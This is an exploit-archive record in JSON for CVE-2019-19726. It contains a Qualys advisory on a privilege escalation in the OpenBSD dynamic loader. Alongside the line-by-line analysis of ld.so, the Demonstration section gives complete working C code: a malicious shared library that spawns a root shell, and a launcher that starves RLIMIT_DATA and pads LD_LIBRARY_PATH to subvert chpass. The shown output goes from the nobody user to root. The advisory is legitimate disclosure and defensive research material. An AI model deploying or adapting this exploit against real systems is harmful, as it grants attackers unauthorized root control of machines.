{"exploit":{"id":"EDB-47780","name":"OpenBSD 6.x - Dynamic Loader Privilege Escalation","description":"OpenBSD 6.x - Dynamic Loader Privilege Escalation","cves":["CVE-2019-19726"],"author":"Qualys Corporation","published":"2019-12-16","platform":"openbsd","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47780","path":"exploits/openbsd/local/47780.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47780.txt","vulnerabilities":[{"id":"CVE-2019-19726","state":"PUBLISHED","title":null,"titleSource":null,"description":"OpenBSD through 6.6 allows local users to escalate to root because a check for LD_LIBRARY_PATH in setuid programs can be defeated by setting a very small RLIMIT_DATA resource limit. When executing chpass or passwd (which are setuid root), _dl_setup_env in ld.so tries to strip LD_LIBRARY_PATH from the environment, but fails when it cannot allocate memory. Thus, the attacker is able to execute their own library code as root.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-19726","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-19726"},"updatedAt":"2024-08-05T02:25:12.567Z","retrievedAt":"2026-11-26T06:50:34.412Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47780.png?v=2","url":"https://exploitbin.com/exploits/EDB-47780","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47780/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47780/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Qualys Security Advisory\n\nLocal Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)\n\n\n==============================================================================\nContents\n==============================================================================\n\nSummary\nAnalysis\nDemonstration\nAcknowledgments\n\n\n==============================================================================\nSummary\n==============================================================================\n\nWe discovered a Local Privilege Escalation in OpenBSD's dynamic loader\n(ld.so): this vulnerability is exploitable in the default installation\n(via the set-user-ID executable chpass or passwd) and yields full root\nprivileges.\n\nWe developed a simple proof of concept and successfully tested it\nagainst OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both\namd64 and i386; other releases and architectures are probably also\nexploitable.\n\n\n==============================================================================\nAnalysis\n==============================================================================\n\nIn this section, we analyze a step-by-step execution of our proof of\nconcept:\n\n------------------------------------------------------------------------------\n\n1/ We execve() the set-user-ID /usr/bin/chpass, but first:\n\n   1a/ we set the LD_LIBRARY_PATH environment variable to one single dot\n   (the current working directory) and approximately ARG_MAX colons (the\n   maximum number of bytes for the argument and environment list); as\n   described in man ld.so:\n\n     LD_LIBRARY_PATH\n             A colon separated list of directories, prepending the default\n             search path for shared libraries.  This variable is ignored for\n             set-user-ID and set-group-ID executables.\n\n   1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)\n   (2MB on amd64, 1MB on i386); as described in man setrlimit:\n\n     RLIMIT_DATA     The maximum size (in bytes) of the data segment for a\n                     process; this includes memory allocated via malloc(3) and\n                     all other anonymous memory mapped via mmap(2).\n\n------------------------------------------------------------------------------\n\n2/ Before the main() function of chpass is executed, the _dl_boot()\nfunction of ld.so is executed and calls _dl_setup_env():\n\n262 void\n263 _dl_setup_env(const char *argv0, char **envp)\n264 {\n...\n271         _dl_libpath = _dl_split_path(_dl_getenv(\"LD_LIBRARY_PATH\", envp));\n...\n283         _dl_trust = !_dl_issetugid();\n284         if (!_dl_trust) {       /* Zap paths if s[ug]id... */\n285                 if (_dl_libpath) {\n286                         _dl_free_path(_dl_libpath);\n287                         _dl_libpath = NULL;\n288                         _dl_unsetenv(\"LD_LIBRARY_PATH\", envp);\n289                 }\n\n------------------------------------------------------------------------------\n\n3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH\nenvironment variable and passes it to _dl_split_path():\n\n 23 char **\n 24 _dl_split_path(const char *searchpath)\n 25 {\n ..\n 35         pp = searchpath;\n 36         while (*pp) {\n 37                 if (*pp == ':' || *pp == ';')\n 38                         count++;\n 39                 pp++;\n 40         }\n ..\n 45         retval = _dl_reallocarray(NULL, count, sizeof(*retval));\n 46         if (retval == NULL)\n 47                 return (NULL);\n\n------------------------------------------------------------------------------\n\n4/ At line 45, count is approximately ARG_MAX (the number of colons in\nour LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our\nlow RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.\n\n------------------------------------------------------------------------------\n\n5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH\nis ignored, but it is not deleted from the environment (CVE-2019-19726):\nalthough _dl_trust is false (_dl_issetugid() returns true because chpass\nis set-user-ID), _dl_unsetenv() is not called (line 288) because\n_dl_libpath is NULL (line 285).\n\n------------------------------------------------------------------------------\n\n6/ Next, the main() function of chpass is executed, and it:\n\n   6a/ calls setuid(0), which sets the real and effective user IDs to 0;\n\n   6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;\n\n   6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb\n   (unlike execve(), execv() does not reset the environment).\n\n------------------------------------------------------------------------------\n\n7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()\nfunction of ld.so is executed and calls _dl_setup_env():\n\n   7a/ at line 271, _dl_getenv() returns a pointer to our\n   LD_LIBRARY_PATH environment variable (because it was not deleted from\n   the environment in step 5, and because execv() did not reset the\n   environment in step 6c);\n\n   7b/ at line 45, _dl_reallocarray() does not return NULL anymore\n   (because our low RLIMIT_DATA was reset in step 6b);\n\n   7c/ as a result, _dl_libpath is not NULL (line 271), and it is not\n   reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()\n   returns false because pwd_mkdb is not set-user-ID, and because the\n   real and effective user IDs were both set to 0 in step 6a): our\n   LD_LIBRARY_PATH is not ignored anymore.\n\n------------------------------------------------------------------------------\n\n8/ Finally, ld.so searches for shared libraries in _dl_libpath (our\nLD_LIBRARY_PATH) and loads our own library from the current working\ndirectory (the dot in our LD_LIBRARY_PATH).\n\n------------------------------------------------------------------------------\n\n\n==============================================================================\nDemonstration\n==============================================================================\n\nIn this section, we demonstrate the use of our proof of concept:\n\n------------------------------------------------------------------------------\n\n$ id\nuid=32767(nobody) gid=32767(nobody) groups=32767(nobody)\n\n$ cd /tmp\n\n$ cat > lib.c << \"EOF\"\n#include <paths.h>\n#include <unistd.h>\n\nstatic void __attribute__ ((constructor)) _init (void) {\n    if (setuid(0) != 0) _exit(__LINE__);\n    if (setgid(0) != 0) _exit(__LINE__);\n    char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\n    execve(argv[0], argv, NULL);\n    _exit(__LINE__);\n}\nEOF\n\n$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED\n 0x0000000000000001 (NEEDED)             Shared library: [libutil.so.13.1]\n 0x0000000000000001 (NEEDED)             Shared library: [libc.so.95.1]\n\n$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c\n\n$ cat > poc.c << \"EOF\"\n#include <string.h>\n#include <sys/param.h>\n#include <sys/resource.h>\n#include <unistd.h>\n\nint\nmain(int argc, char * const * argv)\n{\n    #define LLP \"LD_LIBRARY_PATH=.\"\n    static char llp[ARG_MAX - 128];\n    memset(llp, ':', sizeof(llp)-1);\n    memcpy(llp, LLP, sizeof(LLP)-1);\n    char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\n\n    #define DATA (ARG_MAX * sizeof(char *))\n    const struct rlimit data = { DATA, DATA };\n    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\n\n    if (argc <= 1) _exit(__LINE__);\n    argv += 1;\n    execve(argv[0], argv, envp);\n    _exit(__LINE__);\n}\nEOF\n\n$ gcc -s -o poc poc.c\n\n$ ./poc /usr/bin/chpass\n\n# id\nuid=0(root) gid=0(wheel) groups=32767(nobody)\n\n------------------------------------------------------------------------------\n\n\n==============================================================================\nAcknowledgments\n==============================================================================\n\nWe thank Theo de Raadt and the OpenBSD developers for their incredibly\nquick response: they published a patch for this vulnerability in less\nthan 3 hours. We also thank MITRE's CVE Assignment Team.\n\n\n\n[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>\n\n\n\nThis message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.","sha256":"1377eda083b36ed438040532b90a5c1a6646dd71d358f1f8c6750cbcc9ebc03f","bytes":8745,"fetchedAt":"2026-11-26T21:07:13.423Z","encoding":"utf-8 (display only; download retains original bytes)"}